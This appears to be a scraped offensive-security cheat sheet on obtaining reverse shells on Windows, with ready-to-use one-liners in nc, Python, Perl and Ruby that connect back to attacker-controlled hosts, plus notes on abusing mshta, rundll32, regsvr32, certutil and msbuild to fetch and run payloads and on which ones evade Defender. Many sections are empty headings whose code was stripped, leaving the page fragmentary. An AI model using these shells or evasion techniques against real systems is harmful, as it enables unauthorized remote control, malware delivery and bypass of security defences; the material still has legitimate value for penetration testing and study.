Shells - Windows

The page lolbas-project.github.ioarrow-up-right is for Windows like https://gtfobins.github.io/arrow-up-right for linux. Obviously there isn't SUID files or sudo privileges in Windows, but it's useful to know how some binaries can be (ab)used perform some kind of unexpected actions like execute arbitrary code.

NC

nc.exe -e cmd.exe <Attacker_IP> <PORT>

SBD

sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-binaries/backdoors/sbd.exe) can be uploaded to a Windows box as a Netcat alternative.

Python

#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Perl

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

OpenSSH

Attacker (Kali)

Victim

Powershell

Process performing network call: powershell.exe Payload written on disk: NO (at least nowhere I could find using procmon !)

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

One liner:

Get more info about different Powershell Shells at the end of this document

Mshta

Process performing network call: mshta.exe Payload written on disk: IE local cache

Process performing network call: mshta.exe Payload written on disk: IE local cache

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

Example of hta-psh reverse shell (use hta to download and execute PS backdoor)

You can download & execute very easily a Koadic zombie using the stager hta

hta example

Extracted from herearrow-up-right****

mshta - sct

Extracted from herearrow-up-right****

Mshta - Metasploit

Detected by defender

Rundll32

****Dll hello world examplearrow-up-right****

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

Process performing network call: rundll32.exe Payload written on disk: IE local cache

Detected by defender

Rundll32 - sct

Extracted from herearrow-up-right****

Rundll32 - Metasploit

Rundll32 - Koadic

Regsvr32

Process performing network call: regsvr32.exe Payload written on disk: IE local cache

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

Detected by defender

Regsvr32 -sct

Extracted from herearrow-up-right****

Regsvr32 - Metasploit

You can download & execute very easily a Koadic zombie using the stager regsvr

Certutil

Download a B64dll, decode it and execute it.

Download a B64exe, decode it and execute it.

Detected by defender

Cscript/Wscript

Cscript - Metasploit

Detected by defender

PS-Bat

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

Detected by defender

MSIExec

Attacker

Victim:

Detected

Wmic

Process performing network call: wmic.exe Payload written on disk: IE local cache

Example xsl file:

Extracted from herearrow-up-right

Not detected

You can download & execute very easily a Koadic zombie using the stager wmic

Msbuild

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell. Just download this and execute it: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csprojarrow-up-right

Not detected

CSC

Compile C# code in the victim machine.

You can download a basic C# reverse shell from here: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83ccarrow-up-right

Not deteted

Regasm/Regsvc

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

I haven't tried it

****https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182arrow-up-right****

Odbcconf

Process performing network call: svchost.exe Payload written on disk: WebDAV client local cache

I haven't tried it

****https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2arrow-up-right****

Powershell Shells

PS-Nishang

https://github.com/samratashok/nishangarrow-up-right

In the Shells folder there are a lot of different shells. To download and execute Invoke-PowerShellTcp.ps1 make a copy of the script, append to the end of the file:

Start serving the script in a web server and execute in the victim:

Defender doesn't detect it as malicious code (yet, 3/04/2019).

TODO: Check other nishang shells

PS-Powercat

****https://github.com/besimorhino/powercatarrow-up-right****

Download, start web server, star listener and execute in victim:

Defender doesn't detect it as malicious code (yet, 3/04/2019).

Other options offered by powercat:

Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...

Empire

https://github.com/EmpireProject/Empirearrow-up-right

Create a powershell launcher, save it in a file and download and execute it.

Detected as malicious code

MSF-Unicorn

https://github.com/trustedsec/unicornarrow-up-right

Create a powershell version of metasploit backdoor using unicorn

Start msfconsole with the created resource:

Start a web server serving the powershell_attack.txt file and execute in the victim:

Detected as malicious code

More

PS>Attackarrow-up-right PS console with some offensive PS modules preloaded (cyphered) https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9arrow-up-right WinPWNarrow-up-right PS console with some offensive PS modules and proxy detection (IEX)

Bibliography

最后更新于